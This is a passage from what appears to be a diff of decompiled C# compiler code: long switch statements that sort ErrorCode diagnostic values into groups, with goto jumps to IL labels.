(ErrorCode)341: + case (ErrorCode)342: + case (ErrorCode)343: + case (ErrorCode)344: + case (ErrorCode)345: + case (ErrorCode)346: + case (ErrorCode)347: + case (ErrorCode)348: + case (ErrorCode)349: + case (ErrorCode)350: + case (ErrorCode)351: + case (ErrorCode)352: + case (ErrorCode)353: + case (ErrorCode)354: + case (ErrorCode)355: + case (ErrorCode)356: + case (ErrorCode)357: + case (ErrorCode)358: + case (ErrorCode)359: + case (ErrorCode)360: + case (ErrorCode)361: + case (ErrorCode)362: + case (ErrorCode)363: + case (ErrorCode)364: + case (ErrorCode)365: + case (ErrorCode)366: + case (ErrorCode)367: + case (ErrorCode)368: + case (ErrorCode)369: + case (ErrorCode)370: + case (ErrorCode)371: + case (ErrorCode)372: + case (ErrorCode)373: + case (ErrorCode)374: + case (ErrorCode)375: + case (ErrorCode)376: + case (ErrorCode)377: + case (ErrorCode)378: + case (ErrorCode)379: + case (ErrorCode)380: + case (ErrorCode)381: + case (ErrorCode)382: + case (ErrorCode)383: + case (ErrorCode)384: + case (ErrorCode)385: + case (ErrorCode)386: + case (ErrorCode)387: + case (ErrorCode)388: + case (ErrorCode)389: + case (ErrorCode)390: + case (ErrorCode)391: + case (ErrorCode)392: + case (ErrorCode)393: + case (ErrorCode)394: + case (ErrorCode)395: + case (ErrorCode)396: + case (ErrorCode)397: + case (ErrorCode)398: + case (ErrorCode)399: + case (ErrorCode)404: + case (ErrorCode)408: + case (ErrorCode)410: + case (ErrorCode)421: + case (ErrorCode)422: + case (ErrorCode)427: + case (ErrorCode)429: + case (ErrorCode)444: + case (ErrorCode)447: + case (ErrorCode)459: + case (ErrorCode)461: + case (ErrorCode)467: + case (ErrorCode)468: + case (ErrorCode)471: + case (ErrorCode)474: + case (ErrorCode)475: + case (ErrorCode)476: + case (ErrorCode)477: + case (ErrorCode)478: + case (ErrorCode)479: + case (ErrorCode)480: + case (ErrorCode)481: + case (ErrorCode)482: + case (ErrorCode)483: + case (ErrorCode)484: + case (ErrorCode)485: + case (ErrorCode)486: + case (ErrorCode)487: + case (ErrorCode)488: + case (ErrorCode)489: + case (ErrorCode)490: + case (ErrorCode)491: + case (ErrorCode)492: + case (ErrorCode)493: + case (ErrorCode)494: + case (ErrorCode)495: + case (ErrorCode)496: + case (ErrorCode)497: + case (ErrorCode)498: + case (ErrorCode)499: + case (ErrorCode)510: + case (ErrorCode)511: + case (ErrorCode)512: + case (ErrorCode)519: + case (ErrorCode)520: + case (ErrorCode)521: + case (ErrorCode)524: + case (ErrorCode)530: + case (ErrorCode)531: + case (ErrorCode)532: + case (ErrorCode)536: + case (ErrorCode)560: + case (ErrorCode)561: + case (ErrorCode)565: + case (ErrorCode)566: + case (ErrorCode)568: + case (ErrorCode)573: + case (ErrorCode)580: + case (ErrorCode)581: + case (ErrorCode)583: + case (ErrorCode)584: + case (ErrorCode)585: + case (ErrorCode)586: + case (ErrorCode)587: + case (ErrorCode)588: + case (ErrorCode)589: + case (ErrorCode)593: + case (ErrorCode)597: + case (ErrorCode)598: + case (ErrorCode)600: + case (ErrorCode)602: + case (ErrorCode)603: + case (ErrorCode)604: + case (ErrorCode)605: + case (ErrorCode)606: + case (ErrorCode)607: + case (ErrorCode)608: + case (ErrorCode)609: + case (ErrorCode)613: + case (ErrorCode)614: + case (ErrorCode)615: + case (ErrorCode)624: + case (ErrorCode)627: + case (ErrorCode)632: + case (ErrorCode)634: + case (ErrorCode)635: + case (ErrorCode)638: + case (ErrorCode)639: + case (ErrorCode)640: + case (ErrorCode)645: + case (ErrorCode)647: + case (ErrorCode)651: + case (ErrorCode)654: + case (ErrorCode)667: + case (ErrorCode)671: + case (ErrorCode)676: + case (ErrorCode)679: + case (ErrorCode)680: + case (ErrorCode)688: + case (ErrorCode)690: + case (ErrorCode)691: + case (ErrorCode)696: + case (ErrorCode)697: + case (ErrorCode)698: + case (ErrorCode)700: + case (ErrorCode)705: + case (ErrorCode)707: + case (ErrorCode)725: + case (ErrorCode)727: + case (ErrorCode)732: + case (ErrorCode)733: + case (ErrorCode)740: + case (ErrorCode)741: + case (ErrorCode)749: + case (ErrorCode)752: + case (ErrorCode)753: + case (ErrorCode)760: + case (ErrorCode)766: + case (ErrorCode)769: + case (ErrorCode)770: + case (ErrorCode)771: + case (ErrorCode)772: + case (ErrorCode)773: + case (ErrorCode)774: + case (ErrorCode)775: + case (ErrorCode)776: + case (ErrorCode)777: + case (ErrorCode)778: + case (ErrorCode)779: + case (ErrorCode)780: + case (ErrorCode)781: + case (ErrorCode)782: + case (ErrorCode)783: + case (ErrorCode)784: + case (ErrorCode)785: + case (ErrorCode)786: + case (ErrorCode)787: + case (ErrorCode)788: + case (ErrorCode)789: + case (ErrorCode)790: + case (ErrorCode)791: + case (ErrorCode)792: + case (ErrorCode)793: + case (ErrorCode)794: + case (ErrorCode)795: + case (ErrorCode)796: + case (ErrorCode)797: + case (ErrorCode)798: + case (ErrorCode)799: + case (ErrorCode)800: + case (ErrorCode)801: + case (ErrorCode)802: + case (ErrorCode)803: + case (ErrorCode)804: + case (ErrorCode)805: + case (ErrorCode)806: + case (ErrorCode)807: + case (ErrorCode)808: + case (ErrorCode)810: + case (ErrorCode)812: + case (ErrorCode)813: + case (ErrorCode)814: + case (ErrorCode)816: + case (ErrorCode)817: + case (ErrorCode)823: + case (ErrorCode)827: + case (ErrorCode)829: + case (ErrorCode)830: + case (ErrorCode)840: + case (ErrorCode)842: + case (ErrorCode)848: + case (ErrorCode)849: + case (ErrorCode)850: + case (ErrorCode)851: + case (ErrorCode)852: + case (ErrorCode)858: + case (ErrorCode)859: + case (ErrorCode)860: + case (ErrorCode)861: + case (ErrorCode)862: + case (ErrorCode)863: + case (ErrorCode)864: + case (ErrorCode)865: + case (ErrorCode)866: + case (ErrorCode)867: + case (ErrorCode)868: + case (ErrorCode)869: + case (ErrorCode)870: + case (ErrorCode)871: + case (ErrorCode)872: + case (ErrorCode)873: + case (ErrorCode)874: + case (ErrorCode)875: + case (ErrorCode)876: + case (ErrorCode)877: + case (ErrorCode)878: + case (ErrorCode)879: + case (ErrorCode)880: + case (ErrorCode)881: + case (ErrorCode)882: + case (ErrorCode)883: + case (ErrorCode)884: + case (ErrorCode)885: + case (ErrorCode)886: + case (ErrorCode)887: + case (ErrorCode)888: + case (ErrorCode)889: + case (ErrorCode)890: + case (ErrorCode)891: + case (ErrorCode)892: + case (ErrorCode)893: + case (ErrorCode)894: + case (ErrorCode)895: + case (ErrorCode)896: + case (ErrorCode)897: + case (ErrorCode)898: + case (ErrorCode)899: + case (ErrorCode)900: + case (ErrorCode)901: + case (ErrorCode)902: + case (ErrorCode)903: + case (ErrorCode)904: + case (ErrorCode)905: + case (ErrorCode)906: + case (ErrorCode)907: + case (ErrorCode)908: + case (ErrorCode)909: + case (ErrorCode)910: + case (ErrorCode)911: + case (ErrorCode)912: + case (ErrorCode)913: + case (ErrorCode)914: + case (ErrorCode)915: + case (ErrorCode)916: + case (ErrorCode)917: + case (ErrorCode)918: + case (ErrorCode)919: + case (ErrorCode)920: + case (ErrorCode)921: + case (ErrorCode)922: + case (ErrorCode)923: + case (ErrorCode)924: + case (ErrorCode)925: + case (ErrorCode)926: + case (ErrorCode)927: + case (ErrorCode)928: + case (ErrorCode)929: + case (ErrorCode)930: + case (ErrorCode)931: + case (ErrorCode)932: + case (ErrorCode)933: + case (ErrorCode)934: + case (ErrorCode)935: + case (ErrorCode)936: + case (ErrorCode)937: + case (ErrorCode)938: + case (ErrorCode)939: + case (ErrorCode)940: + case (ErrorCode)941: + case (ErrorCode)942: + case (ErrorCode)943: + case (ErrorCode)944: + case (ErrorCode)945: + case (ErrorCode)946: + case (ErrorCode)947: + case (ErrorCode)948: + case (ErrorCode)949: + case (ErrorCode)950: + case (ErrorCode)951: + case (ErrorCode)952: + case (ErrorCode)953: + case (ErrorCode)954: + case (ErrorCode)955: + case (ErrorCode)956: + case (ErrorCode)957: + case (ErrorCode)958: + case (ErrorCode)959: + case (ErrorCode)960: + case (ErrorCode)961: + case (ErrorCode)962: + case (ErrorCode)963: + case (ErrorCode)964: + case (ErrorCode)965: + case (ErrorCode)966: + case (ErrorCode)967: + case (ErrorCode)968: + case (ErrorCode)969: + case (ErrorCode)970: + case (ErrorCode)971: + case (ErrorCode)972: + case (ErrorCode)973: + case (ErrorCode)974: + case (ErrorCode)975: + case (ErrorCode)976: + case (ErrorCode)977: + case (ErrorCode)978: + case (ErrorCode)979: + case (ErrorCode)980: + case (ErrorCode)981: + case (ErrorCode)982: + case (ErrorCode)983: + case (ErrorCode)984: + case (ErrorCode)985: + case (ErrorCode)986: + case (ErrorCode)987: + case (ErrorCode)988: + case (ErrorCode)989: + case (ErrorCode)990: + case (ErrorCode)991: + case (ErrorCode)992: + case (ErrorCode)993: + case (ErrorCode)994: + case (ErrorCode)995: + case (ErrorCode)996: + case (ErrorCode)997: + case (ErrorCode)998: + case (ErrorCode)999: + case (ErrorCode)1000: + case (ErrorCode)1005: + case (ErrorCode)1006: + case (ErrorCode)1033: + case (ErrorCode)1034: + case (ErrorCode)1036: + case (ErrorCode)1042: + case (ErrorCode)1045: + case (ErrorCode)1046: + case (ErrorCode)1047: + case (ErrorCode)1048: + case (ErrorCode)1049: + case (ErrorCode)1050: + case (ErrorCode)1051: + case (ErrorCode)1052: + case (ErrorCode)1053: + case (ErrorCode)1054: + case (ErrorCode)1060: + case (ErrorCode)1071: + case (ErrorCode)1074: + case (ErrorCode)1075: + case (ErrorCode)1076: + case (ErrorCode)1077: + case (ErrorCode)1078: + case (ErrorCode)1079: + case (ErrorCode)1080: + case (ErrorCode)1081: + case (ErrorCode)1082: + case (ErrorCode)1083: + case (ErrorCode)1084: + case (ErrorCode)1085: + case (ErrorCode)1086: + case (ErrorCode)1087: + case (ErrorCode)1088: + case (ErrorCode)1089: + case (ErrorCode)1090: + case (ErrorCode)1091: + case (ErrorCode)1092: + case (ErrorCode)1093: + case (ErrorCode)1094: + case (ErrorCode)1095: + case (ErrorCode)1096: + case (ErrorCode)1097: + case (ErrorCode)1098: + case (ErrorCode)1099: + case (ErrorCode)1101: + case (ErrorCode)1102: + case (ErrorCode)1108: + case (ErrorCode)1111: + goto IL_2ffa; + } + } + else if (code <= ErrorCode.ERR_NoEntryPoint) + { + switch (code) + { + case ErrorCode.ERR_ByRefTypeAndAwait: + case ErrorCode.ERR_SpecialByRefInLambda: + case ErrorCode.ERR_NoEntryPoint: + break; + case ErrorCode.ERR_BadAwaitArgIntrinsic: + case ErrorCode.ERR_BadAwaitAsIdentifier: + case ErrorCode.ERR_AwaitInUnsafeContext: + case ErrorCode.ERR_UnsafeAsyncArgType: + case ErrorCode.ERR_VarargsAsync: + case ErrorCode.ERR_BadAwaitArgVoidCall: + case ErrorCode.ERR_NonTaskMainCantBeAsync: + case ErrorCode.ERR_CantConvAsyncAnonFuncReturns: + case ErrorCode.ERR_BadAwaiterPattern: + case ErrorCode.ERR_BadSpecialByRefLocal: + case ErrorCode.WRN_UnobservedAwaitableExpression: + case ErrorCode.ERR_SynchronizedAsyncMethod: + case ErrorCode.ERR_BadAsyncReturnExpression: + case ErrorCode.ERR_NoConversionForCallerLineNumberParam: + case ErrorCode.ERR_NoConversionForCallerFilePathParam: + case ErrorCode.ERR_NoConversionForCallerMemberNameParam: + case ErrorCode.ERR_BadCallerLineNumberParamWithoutDefaultValue: + case ErrorCode.ERR_BadCallerFilePathParamWithoutDefaultValue: + case ErrorCode.ERR_BadCallerMemberNameParamWithoutDefaultValue: + case ErrorCode.ERR_BadPrefer32OnLib: + case ErrorCode.WRN_CallerLineNumberParamForUnconsumedLocation: + case ErrorCode.WRN_CallerFilePathParamForUnconsumedLocation: + case ErrorCode.WRN_CallerMemberNameParamForUnconsumedLocation: + case ErrorCode.ERR_DoesntImplementAwaitInterface: + case ErrorCode.ERR_BadAwaitArg_NeedSystem: + case ErrorCode.ERR_CantReturnVoid: + case ErrorCode.ERR_SecurityCriticalOrSecuritySafeCriticalOnAsync: + case ErrorCode.ERR_SecurityCriticalOrSecuritySafeCriticalOnAsyncInClassOrStruct: + case ErrorCode.ERR_BadAwaitWithoutAsyncMethod: + case ErrorCode.ERR_BadAwaitWithoutVoidAsyncMethod: + case ErrorCode.ERR_BadAwaitWithoutAsyncLambda: + case ErrorCode.ERR_NoSuchMemberOrExtensionNeedUsing: + goto IL_2ff8; + default: + goto IL_2ffa; + } + } + else + { + switch (code) + { + default: + switch (code) + { + case ErrorCode.ERR_ExportedTypeConflictsWithDeclaration: + case ErrorCode.ERR_ExportedTypesConflict: + case ErrorCode.ERR_ForwardedTypeConflictsWithDeclaration: + case ErrorCode.ERR_ForwardedTypeConflictsWithExportedType: + case ErrorCode.ERR_InsufficientStack: + case ErrorCode.ERR_RefReturningCallAndAwait: + case ErrorCode.WRN_SyncAndAsyncEntryPoints: + case ErrorCode.ERR_EncUpdateFailedDelegateTypeChanged: + case ErrorCode.ERR_CannotBeConvertedToUtf8: + case ErrorCode.ERR_FileTypeNonUniquePath: + case ErrorCode.ERR_InterceptorSignatureMismatch: + case ErrorCode.ERR_InterceptorMustHaveMatchingThisParameter: + case ErrorCode.ERR_InterceptorMustNotHaveThisParameter: + case ErrorCode.ERR_DuplicateInterceptor: + case ErrorCode.WRN_InterceptorSignatureMismatch: + case ErrorCode.ERR_InterceptorNotAccessible: + case ErrorCode.ERR_InterceptorScopedMismatch: + case ErrorCode.WRN_NullabilityMismatchInReturnTypeOnInterceptor: + case ErrorCode.WRN_NullabilityMismatchInParameterTypeOnInterceptor: + case ErrorCode.ERR_InterceptorCannotInterceptNameof: + case ErrorCode.ERR_SymbolDefinedInAssembly: + case ErrorCode.ERR_InterceptorArityNotCompatible: + case ErrorCode.ERR_InterceptorCannotBeGeneric: + case ErrorCode.ERR_InterceptableMethodMustBeOrdinary: + break; + case ErrorCode.WRN_UnimplementedCommandLineSwitch: + case ErrorCode.WRN_ReferencedAssemblyDoesNotHaveStrongName: + case ErrorCode.ERR_InvalidSignaturePublicKey: + case ErrorCode.ERR_ForwardedTypesConflict: + case ErrorCode.WRN_RefCultureMismatch: + case ErrorCode.ERR_AgnosticToMachineModule: + case ErrorCode.ERR_ConflictingMachineModule: + case ErrorCode.WRN_ConflictingMachineAssembly: + case ErrorCode.ERR_CryptoHashFailed: + case ErrorCode.ERR_MissingNetModuleReference: + case ErrorCode.ERR_NetModuleNameMustBeUnique: + case ErrorCode.ERR_UnsupportedTransparentIdentifierAccess: + case ErrorCode.ERR_ParamDefaultValueDiffersFromAttribute: + case ErrorCode.WRN_UnqualifiedNestedTypeInCref: + case ErrorCode.HDN_UnusedUsingDirective: + case ErrorCode.HDN_UnusedExternAlias: + case ErrorCode.WRN_NoRuntimeMetadataVersion: + case ErrorCode.ERR_FeatureNotAvailableInVersion1: + case ErrorCode.ERR_FeatureNotAvailableInVersion2: + case ErrorCode.ERR_FeatureNotAvailableInVersion3: + case ErrorCode.ERR_FeatureNotAvailableInVersion4: + case ErrorCode.ERR_FeatureNotAvailableInVersion5: + case ErrorCode.ERR_FieldHasMultipleDistinctConstantValues: + case ErrorCode.ERR_ComImportWithInitializers: + case ErrorCode.WRN_PdbLocalNameTooLong: + case ErrorCode.ERR_RetNoObjectRequiredLambda: + case ErrorCode.ERR_TaskRetNoObjectRequiredLambda: + case ErrorCode.WRN_AnalyzerCannotBeCreated: + case ErrorCode.WRN_NoAnalyzerInAssembly: + case ErrorCode.WRN_UnableToLoadAnalyzer: + case ErrorCode.ERR_CantReadRulesetFile: + case ErrorCode.ERR_BadPdbData: + case ErrorCode.INF_UnableToLoadSomeTypesInAnalyzer: + case ErrorCode.ERR_InitializerOnNonAutoProperty: + case ErrorCode.ERR_AutoPropertyMustHaveGetAccessor: + case ErrorCode.ERR_InstancePropertyInitializerInInterface: + case ErrorCode.ERR_EnumsCantContainDefaultConstructor: + case ErrorCode.ERR_EncodinglessSyntaxTree: + case ErrorCode.ERR_BlockBodyAndExpressionBody: + case ErrorCode.ERR_FeatureIsExperimental: + case ErrorCode.ERR_FeatureNotAvailableInVersion6: + case ErrorCode.ERR_SwitchFallOut: + case ErrorCode.ERR_NullPropagatingOpInExpressionTree: + case ErrorCode.WRN_NubExprIsConstBool2: + case ErrorCode.ERR_DictionaryInitializerInExpressionTree: + case ErrorCode.ERR_ExtensionCollectionElementInitializerInExpressionTree: + case ErrorCode.ERR_UnclosedExpressionHole: + case ErrorCode.ERR_UseDefViolationProperty: + case ErrorCode.ERR_AutoPropertyMustOverrideSet: + case ErrorCode.ERR_ExpressionHasNoName: + case ErrorCode.ERR_SubexpressionNotInNameof: + case ErrorCode.ERR_AliasQualifiedNameNotAnExpression: + case ErrorCode.ERR_NameofMethodGroupWithTypeParameters: + case ErrorCode.ERR_NoAliasHere: + case ErrorCode.ERR_UnescapedCurly: + case ErrorCode.ERR_EscapedCurly: + case ErrorCode.ERR_TrailingWhitespaceInFormatSpecifier: + case ErrorCode.ERR_EmptyFormatSpecifier: + case ErrorCode.ERR_ErrorInReferencedAssembly: + case ErrorCode.ERR_ExternHasConstructorInitializer: + case ErrorCode.ERR_ExpressionOrDeclarationExpected: + case ErrorCode.ERR_NameofExtensionMethod: + case ErrorCode.WRN_AlignmentMagnitude: + case ErrorCode.ERR_ConstantStringTooLong: + case ErrorCode.ERR_DebugEntryPointNotSourceMethodDefinition: + case ErrorCode.ERR_LoadDirectiveOnlyAllowedInScripts: + case ErrorCode.ERR_PPLoadFollowsToken: + case ErrorCode.ERR_SourceFileReferencesNotSupported: + case ErrorCode.ERR_BadAwaitInStaticVariableInitializer: + case ErrorCode.ERR_InvalidPathMap: + case ErrorCode.ERR_PublicSignButNoKey: + case ErrorCode.ERR_TooManyUserStrings: + case ErrorCode.ERR_PeWritingFailure: + case ErrorCode.WRN_AttributeIgnoredWhenPublicSigning: + case ErrorCode.ERR_OptionMustBeAbsolutePath: + case ErrorCode.ERR_FeatureNotAvailableInVersion7: + case ErrorCode.ERR_DynamicLocalFunctionParamsParameter: + case ErrorCode.ERR_ExpressionTreeContainsLocalFunction: + case ErrorCode.ERR_InvalidInstrumentationKind: + case ErrorCode.ERR_LocalFunctionMissingBody: + case ErrorCode.ERR_InvalidHashAlgorithmName: + case ErrorCode.ERR_ThrowMisplaced: + case ErrorCode.ERR_PatternNullableType: + case ErrorCode.ERR_BadPatternExpression: + case ErrorCode.ERR_SwitchExpressionValueExpected: + case ErrorCode.ERR_SwitchCaseSubsumed: + case ErrorCode.ERR_PatternWrongType: + case ErrorCode.ERR_ExpressionTreeContainsIsMatch: + case ErrorCode.WRN_TupleLiteralNameMismatch: + case ErrorCode.ERR_TupleTooFewElements: + case ErrorCode.ERR_TupleReservedElementName: + case ErrorCode.ERR_TupleReservedElementNameAnyPosition: + case ErrorCode.ERR_TupleDuplicateElementName: + case ErrorCode.ERR_PredefinedTypeMemberNotFoundInAssembly: + case ErrorCode.ERR_MissingDeconstruct: + case ErrorCode.ERR_TypeInferenceFailedForImplicitlyTypedDeconstructionVariable: + case ErrorCode.ERR_DeconstructRequiresExpression: + case ErrorCode.ERR_DeconstructWrongCardinality: + case ErrorCode.ERR_CannotDeconstructDynamic: + case ErrorCode.ERR_DeconstructTooFewElements: + case ErrorCode.ERR_ConversionNotTupleCompatible: + case ErrorCode.ERR_DeconstructionVarFormDisallowsSpecificType: + case ErrorCode.ERR_TupleElementNamesAttributeMissing: + case ErrorCode.ERR_ExplicitTupleElementNamesAttribute: + case ErrorCode.ERR_CantChangeTupleNamesOnOverride: + case ErrorCode.ERR_DuplicateInterfaceWithTupleNamesInBaseList: + case ErrorCode.ERR_ImplBadTupleNames: + case ErrorCode.ERR_PartialMethodInconsistentTupleNames: + case ErrorCode.ERR_ExpressionTreeContainsTupleLiteral: + case ErrorCode.ERR_ExpressionTreeContainsTupleConversion: + case ErrorCode.ERR_AutoPropertyCannotBeRefReturning: + case ErrorCode.ERR_RefPropertyMustHaveGetAccessor: + case ErrorCode.ERR_RefPropertyCannotHaveSetAccessor: + case ErrorCode.ERR_CantChangeRefReturnOnOverride: + case ErrorCode.ERR_MustNotHaveRefReturn: + case ErrorCode.ERR_MustHaveRefReturn: + case ErrorCode.ERR_RefReturnMustHaveIdentityConversion: + case ErrorCode.ERR_CloseUnimplementedInterfaceMemberWrongRefReturn: + case ErrorCode.ERR_RefReturningCallInExpressionTree: + case ErrorCode.ERR_BadIteratorReturnRef: + case ErrorCode.ERR_BadRefReturnExpressionTree: + case ErrorCode.ERR_RefReturnLvalueExpected: + case ErrorCode.ERR_RefReturnNonreturnableLocal: + case ErrorCode.ERR_RefReturnNonreturnableLocal2: + case ErrorCode.ERR_RefReturnRangeVariable: + case ErrorCode.ERR_RefReturnReadonly: + case ErrorCode.ERR_RefReturnReadonlyStatic: + case ErrorCode.ERR_RefReturnReadonly2: + case ErrorCode.ERR_RefReturnReadonlyStatic2: + case ErrorCode.ERR_RefReturnParameter: + case ErrorCode.ERR_RefReturnParameter2: + case ErrorCode.ERR_RefReturnLocal: + case ErrorCode.ERR_RefReturnLocal2: + case ErrorCode.ERR_RefReturnStructThis: + case ErrorCode.ERR_InitializeByValueVariableWithReference: + case ErrorCode.ERR_InitializeByReferenceVariableWithValue: + case ErrorCode.ERR_RefAssignmentMustHaveIdentityConversion: + case ErrorCode.ERR_ByReferenceVariableMustBeInitialized: + case ErrorCode.ERR_AnonDelegateCantUseLocal: + case ErrorCode.ERR_BadIteratorLocalType: + case ErrorCode.ERR_BadAsyncLocalType: + case ErrorCode.ERR_PredefinedValueTupleTypeNotFound: + case ErrorCode.ERR_SemiOrLBraceOrArrowExpected: + case ErrorCode.ERR_NewWithTupleTypeSyntax: + case ErrorCode.ERR_PredefinedValueTupleTypeMustBeStruct: + case ErrorCode.ERR_DiscardTypeInferenceFailed: + case ErrorCode.ERR_DeclarationExpressionNotPermitted: + case ErrorCode.ERR_MustDeclareForeachIteration: + case ErrorCode.ERR_TupleElementNamesInDeconstruction: + case ErrorCode.ERR_ExpressionTreeContainsThrowExpression: + case ErrorCode.ERR_DelegateRefMismatch: + case ErrorCode.ERR_BadSourceCodeKind: + case ErrorCode.ERR_BadDocumentationMode: + case ErrorCode.ERR_BadLanguageVersion: + case ErrorCode.ERR_ImplicitlyTypedOutVariableUsedInTheSameArgumentList: + case ErrorCode.ERR_TypeInferenceFailedForImplicitlyTypedOutVariable: + case ErrorCode.ERR_ExpressionTreeContainsOutVariable: + case ErrorCode.ERR_VarInvocationLvalueReserved: + case ErrorCode.ERR_PublicSignNetModule: + case ErrorCode.ERR_BadAssemblyName: + case ErrorCode.ERR_BadAsyncMethodBuilderTaskProperty: + case ErrorCode.ERR_TypeForwardedToMultipleAssemblies: + case ErrorCode.ERR_ExpressionTreeContainsDiscard: + case ErrorCode.ERR_PatternDynamicType: + case ErrorCode.ERR_VoidAssignment: + case ErrorCode.ERR_VoidInTuple: + case ErrorCode.ERR_Merge_conflict_marker_encountered: + case ErrorCode.ERR_InvalidPreprocessingSymbol: + case ErrorCode.ERR_FeatureNotAvailableInVersion7_1: + case ErrorCode.ERR_LanguageVersionCannotHaveLeadingZeroes: + case ErrorCode.ERR_CompilerAndLanguageVersion: + case ErrorCode.WRN_WindowsExperimental: + case ErrorCode.ERR_TupleInferredNamesNotAvailable: + case ErrorCode.ERR_TypelessTupleInAs: + case ErrorCode.ERR_NoRefOutWhenRefOnly: + case ErrorCode.ERR_NoNetModuleOutputWhenRefOutOrRefOnly: + case ErrorCode.ERR_BadOpOnNullOrDefaultOrNew: + case ErrorCode.ERR_DefaultLiteralNotValid: + case ErrorCode.ERR_PatternWrongGenericTypeInVersion: + case ErrorCode.ERR_AmbigBinaryOpsOnDefault: + case ErrorCode.ERR_FeatureNotAvailableInVersion7_2: + case ErrorCode.WRN_UnreferencedLocalFunction: + case ErrorCode.ERR_DynamicLocalFunctionTypeParameter: + case ErrorCode.ERR_BadNonTrailingNamedArgument: + case ErrorCode.ERR_NamedArgumentSpecificationBeforeFixedArgumentInDynamicInvocation: + case ErrorCode.ERR_RefConditionalAndAwait: + case ErrorCode.ERR_RefConditionalNeedsTwoRefs: + case ErrorCode.ERR_RefConditionalDifferentTypes: + case ErrorCode.ERR_BadParameterModifiers: + case ErrorCode.ERR_RefReadonlyNotField: + case ErrorCode.ERR_RefReadonlyNotField2: + case ErrorCode.ERR_AssignReadonlyNotField: + case ErrorCode.ERR_AssignReadonlyNotField2: + case ErrorCode.ERR_RefReturnReadonlyNotField: + case ErrorCode.ERR_RefReturnReadonlyNotField2: + case ErrorCode.ERR_ExplicitReservedAttr: + case ErrorCode.ERR_TypeReserved: + case ErrorCode.ERR_RefExtensionMustBeValueTypeOrConstrainedToOne: + case ErrorCode.ERR_InExtensionMustBeValueType: + case ErrorCode.ERR_FieldsInRoStruct: + case ErrorCode.ERR_AutoPropsInRoStruct: + case ErrorCode.ERR_FieldlikeEventsInRoStruct: + case ErrorCode.ERR_RefStructInterfaceImpl: + case ErrorCode.ERR_BadSpecialByRefIterator: + case ErrorCode.ERR_FieldAutoPropCantBeByRefLike: + case ErrorCode.ERR_StackAllocConversionNotPossible: + case ErrorCode.ERR_EscapeCall: + case ErrorCode.ERR_EscapeCall2: + case ErrorCode.ERR_EscapeOther: + case ErrorCode.ERR_CallArgMixing: + case ErrorCode.ERR_MismatchedRefEscapeInTernary: + case ErrorCode.ERR_EscapeVariable: + case ErrorCode.ERR_EscapeStackAlloc: + case ErrorCode.ERR_RefReturnThis: + case ErrorCode.ERR_OutAttrOnInParam: + case ErrorCode.ERR_PredefinedValueTupleTypeAmbiguous3: + case ErrorCode.ERR_InvalidVersionFormatDeterministic: + case ErrorCode.ERR_AttributeCtorInParameter: + case ErrorCode.WRN_FilterIsConstantFalse: + case ErrorCode.WRN_FilterIsConstantFalseRedundantTryCatch: + case ErrorCode.ERR_ConditionalInInterpolation: + case ErrorCode.ERR_CantUseVoidInArglist: + case ErrorCode.ERR_InDynamicMethodArg: + case ErrorCode.ERR_FeatureNotAvailableInVersion7_3: + case ErrorCode.WRN_AttributesOnBackingFieldsNotAvailable: + case ErrorCode.ERR_DoNotUseFixedBufferAttrOnProperty: + case ErrorCode.ERR_RefLocalOrParamExpected: + case ErrorCode.ERR_RefAssignNarrower: + case ErrorCode.ERR_NewBoundWithUnmanaged: + case ErrorCode.ERR_UnmanagedConstraintNotSatisfied: + case ErrorCode.ERR_CantUseInOrOutInArglist: + case ErrorCode.ERR_ConWithUnmanagedCon: + case ErrorCode.ERR_UnmanagedBoundWithClass: + case ErrorCode.ERR_InvalidStackAllocArray: + case ErrorCode.ERR_ExpressionTreeContainsTupleBinOp: + case ErrorCode.WRN_TupleBinopLiteralNameMismatch: + case ErrorCode.ERR_TupleSizesMismatchForBinOps: + case ErrorCode.ERR_ExprCannotBeFixed: + case ErrorCode.ERR_InvalidObjectCreation: + case ErrorCode.WRN_TypeParameterSameAsOuterMethodTypeParameter: + case ErrorCode.ERR_OutVariableCannotBeByRef: + case ErrorCode.ERR_OmittedTypeArgument: + case ErrorCode.ERR_FeatureNotAvailableInVersion8: + case ErrorCode.ERR_AltInterpolatedVerbatimStringsNotAvailable: + case ErrorCode.ERR_IteratorMustBeAsync: + case ErrorCode.ERR_NoConvToIAsyncDisp: + case ErrorCode.ERR_AwaitForEachMissingMember: + case ErrorCode.ERR_BadGetAsyncEnumerator: + case ErrorCode.ERR_MultipleIAsyncEnumOfT: + case ErrorCode.ERR_ForEachMissingMemberWrongAsync: + case ErrorCode.ERR_AwaitForEachMissingMemberWrongAsync: + case ErrorCode.ERR_BadDynamicAwaitForEach: + case ErrorCode.ERR_NoConvToIAsyncDispWrongAsync: + case ErrorCode.ERR_NoConvToIDispWrongAsync: + case ErrorCode.ERR_PossibleAsyncIteratorWithoutYield: + case ErrorCode.ERR_PossibleAsyncIteratorWithoutYieldOrAwait: + case ErrorCode.ERR_StaticLocalFunctionCannotCaptureVariable: + case ErrorCode.ERR_StaticLocalFunctionCannotCaptureThis: + case ErrorCode.ERR_AttributeNotOnEventAccessor: + case ErrorCode.WRN_UnconsumedEnumeratorCancellationAttributeUsage: + case ErrorCode.WRN_UndecoratedCancellationTokenParameter: + case ErrorCode.ERR_MultipleEnumeratorCancellationAttributes: + case ErrorCode.ERR_VarianceInterfaceNesting: + case ErrorCode.ERR_ImplicitIndexIndexerWithName: + case ErrorCode.ERR_ImplicitRangeIndexerWithName: + case ErrorCode.WRN_ManagedAddr: + case ErrorCode.ERR_WrongNumberOfSubpatterns: + case ErrorCode.ERR_PropertyPatternNameMissing: + case ErrorCode.ERR_MissingPattern: + case ErrorCode.ERR_DefaultPattern: + case ErrorCode.ERR_SwitchExpressionNoBestType: + case ErrorCode.ERR_VarMayNotBindToType: + case ErrorCode.WRN_SwitchExpressionNotExhaustive: + case ErrorCode.ERR_SwitchArmSubsumed: + case ErrorCode.ERR_ConstantPatternVsOpenType: + case ErrorCode.WRN_CaseConstantNamedUnderscore: + case ErrorCode.WRN_IsTypeNamedUnderscore: + case ErrorCode.ERR_ExpressionTreeContainsSwitchExpression: + case ErrorCode.ERR_SwitchGoverningExpressionRequiresParens: + case ErrorCode.ERR_TupleElementNameMismatch: + case ErrorCode.ERR_DeconstructParameterNameMismatch: + case ErrorCode.ERR_IsPatternImpossible: + case ErrorCode.WRN_GivenExpressionNeverMatchesPattern: + case ErrorCode.WRN_GivenExpressionAlwaysMatchesConstant: + case ErrorCode.ERR_PointerTypeInPatternMatching: + case ErrorCode.ERR_ArgumentNameInITuplePattern: + case ErrorCode.ERR_DiscardPatternInSwitchStatement: + case ErrorCode.WRN_SwitchExpressionNotExhaustiveWithUnnamedEnumValue: + case ErrorCode.WRN_ThrowPossibleNull: + case 